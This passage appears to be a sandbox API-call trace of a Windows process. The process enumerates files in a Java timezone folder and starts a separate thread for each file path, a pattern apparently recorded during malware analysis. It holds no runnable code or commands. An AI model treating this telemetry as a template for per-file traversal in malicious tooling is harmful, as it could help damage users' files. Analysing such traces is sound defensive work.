ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belem", cAlternateFileName="")) returned 1 [0185.919] wcscmp (_String1="Belem", _String2=".") returned 1 [0185.919] wcscmp (_String1="Belem", _String2="..") returned 1 [0185.919] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c440 [0185.919] wcscpy (in: _Dest=0x93c440, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.919] wcscat (in: _Dest=0x93c440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.919] wcscat (in: _Dest=0x93c440, _Source="Belem" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belem") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belem" [0185.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1810 [0185.920] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belize", cAlternateFileName="")) returned 1 [0185.920] wcscmp (_String1="Belize", _String2=".") returned 1 [0185.920] wcscmp (_String1="Belize", _String2="..") returned 1 [0185.920] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c350 [0185.920] wcscpy (in: _Dest=0x93c350, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.920] wcscat (in: _Dest=0x93c350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.920] wcscat (in: _Dest=0x93c350, _Source="Belize" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belize") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belize" [0185.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc [0185.922] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blanc-Sablon", cAlternateFileName="BLANC-~1")) returned 1 [0185.922] wcscmp (_String1="Blanc-Sablon", _String2=".") returned 1 [0185.922] wcscmp (_String1="Blanc-Sablon", _String2="..") returned 1 [0185.922] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c50858 [0185.922] wcscpy (in: _Dest=0x12c50858, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.922] wcscat (in: _Dest=0x12c50858, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.922] wcscat (in: _Dest=0x12c50858, _Source="Blanc-Sablon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Blanc-Sablon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Blanc-Sablon" [0185.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0185.923] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boa_Vista", cAlternateFileName="BOA_VI~1")) returned 1 [0185.923] wcscmp (_String1="Boa_Vista", _String2=".") returned 1 [0185.923] wcscmp (_String1="Boa_Vista", _String2="..") returned 1 [0185.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfd00 [0185.923] wcscpy (in: _Dest=0x8cfd00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.923] wcscat (in: _Dest=0x8cfd00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.923] wcscat (in: _Dest=0x8cfd00, _Source="Boa_Vista" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boa_Vista") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boa_Vista" [0185.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0185.924] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bogota", cAlternateFileName="")) returned 1 [0185.924] wcscmp (_String1="Bogota", _String2=".") returned 1 [0185.924] wcscmp (_String1="Bogota", _String2="..") returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c2d8 [0185.925] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.925] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.925] wcscat (in: _Dest=0x93c2d8, _Source="Bogota" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bogota") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bogota" [0185.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1548 [0185.926] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boise", cAlternateFileName="")) returned 1 [0185.926] wcscmp (_String1="Boise", _String2=".") returned 1 [0185.926] wcscmp (_String1="Boise", _String2="..") returned 1 [0185.926] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93be28 [0185.926] wcscpy (in: _Dest=0x93be28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.926] wcscat (in: _Dest=0x93be28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.926] wcscat (in: _Dest=0x93be28, _Source="Boise" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boise") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boise" [0185.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93be28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0185.927] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cambridge_Bay", cAlternateFileName="CAMBRI~1")) returned 1 [0185.927] wcscmp (_String1="Cambridge_Bay", _String2=".") returned 1 [0185.927] wcscmp (_String1="Cambridge_Bay", _String2="..") returned 1 [0185.927] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51518 [0185.927] wcscpy (in: _Dest=0x12c51518, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.927] wcscat (in: _Dest=0x12c51518, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.927] wcscat (in: _Dest=0x12c51518, _Source="Cambridge_Bay" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cambridge_Bay") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cambridge_Bay" [0185.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c8 [0185.928] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campo_Grande", cAlternateFileName="CAMPO_~1")) returned 1 [0185.929] wcscmp (_String1="Campo_Grande", _String2=".") returned 1 [0185.929] wcscmp (_String1="Campo_Grande", _String2="..") returned 1 [0185.929] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c51e20 [0185.929] wcscpy (in: _Dest=0x12c51e20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.929] wcscat (in: _Dest=0x12c51e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.929] wcscat (in: _Dest=0x12c51e20, _Source="Campo_Grande" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Campo_Grande") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Campo_Grande" [0185.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb4 [0185.930] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cancun", cAlternateFileName="")) returned 1 [0185.930] wcscmp (_String1="Cancun", _String2=".") returned 1 [0185.930] wcscmp (_String1="Cancun", _String2="..") returned 1 [0185.930] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bea0 [0185.930] wcscpy (in: _Dest=0x93bea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.930] wcscat (in: _Dest=0x93bea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.930] wcscat (in: _Dest=0x93bea0, _Source="Cancun" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cancun") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cancun" [0185.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4 [0185.932] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caracas", cAlternateFileName="")) returned 1 [0185.932] wcscmp (_String1="Caracas", _String2=".") returned 1 [0185.932] wcscmp (_String1="Caracas", _String2="..") returned 1 [0185.932] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c260 [0185.932] wcscpy (in: _Dest=0x93c260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.932] wcscat (in: _Dest=0x93c260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.932] wcscat (in: _Dest=0x93c260, _Source="Caracas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Caracas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Caracas" [0185.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28 [0185.933] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayenne", cAlternateFileName="")) returned 1 [0185.933] wcscmp (_String1="Cayenne", _String2=".") returned 1 [0185.933] wcscmp (_String1="Cayenne", _String2="..") returned 1 [0185.933] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bdb0 [0185.933] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.933] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.933] wcscat (in: _Dest=0x93bdb0, _Source="Cayenne" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayenne") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayenne" [0185.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0 [0185.935] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayman", cAlternateFileName="")) returned 1 [0185.935] wcscmp (_String1="Cayman", _String2=".") returned 1 [0185.935] wcscmp (_String1="Cayman", _String2="..") returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bf18 [0185.935] wcscpy (in: _Dest=0x93bf18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.935] wcscat (in: _Dest=0x93bf18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.935] wcscat (in: _Dest=0x93bf18, _Source="Cayman" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayman") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayman" [0185.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0185.936] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chicago", cAlternateFileName="")) returned 1 [0185.936] wcscmp (_String1="Chicago", _String2=".") returned 1 [0185.936] wcscmp (_String1="Chicago", _String2="..") returned 1 [0185.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c4b8 [0185.936] wcscpy (in: _Dest=0x93c4b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.936] wcscat (in: _Dest=0x93c4b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.936] wcscat (in: _Dest=0x93c4b8, _Source="Chicago" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chicago") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chicago" [0185.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0185.938] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chihuahua", cAlternateFileName="CHIHUA~1")) returned 1 [0185.938] wcscmp (_String1="Chihuahua", _String2=".") returned 1 [0185.938] wcscmp (_String1="Chihuahua", _String2="..") returned 1 [0185.938] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfc80 [0185.938] wcscpy (in: _Dest=0x8cfc80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.938] wcscat (in: _Dest=0x8cfc80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.938] wcscat (in: _Dest=0x8cfc80, _Source="Chihuahua" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chihuahua") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chihuahua" [0185.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0186.224] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Costa_Rica", cAlternateFileName="COSTA_~1")) returned 1 [0186.224] wcscmp (_String1="Costa_Rica", _String2=".") returned 1 [0186.224] wcscmp (_String1="Costa_Rica", _String2="..") returned 1 [0186.224] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0700 [0186.224] wcscpy (in: _Dest=0x8d0700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0186.224] wcscat (in: _Dest=0x8d0700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0186.224] wcscat (in: _Dest=0x8d0700, _Source="Costa_Rica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Costa_Rica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Costa_Rica" [0189.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734 [0189.403] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Creston", cAlternateFileName="")) returned 1 [0189.403] wcscmp (_String1="Creston", _String2=".") returned 1 [0189.403] wcscmp (_String1="Creston", _String2="..") returned 1 [0189.403] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c008 [0189.403] wcscpy (in: _Dest=0x93c008, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.403] wcscat (in: _Dest=0x93c008, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.404] wcscat (in: _Dest=0x93c008, _Source="Creston" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Creston") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Creston" [0189.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0189.405] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cuiaba", cAlternateFileName="")) returned 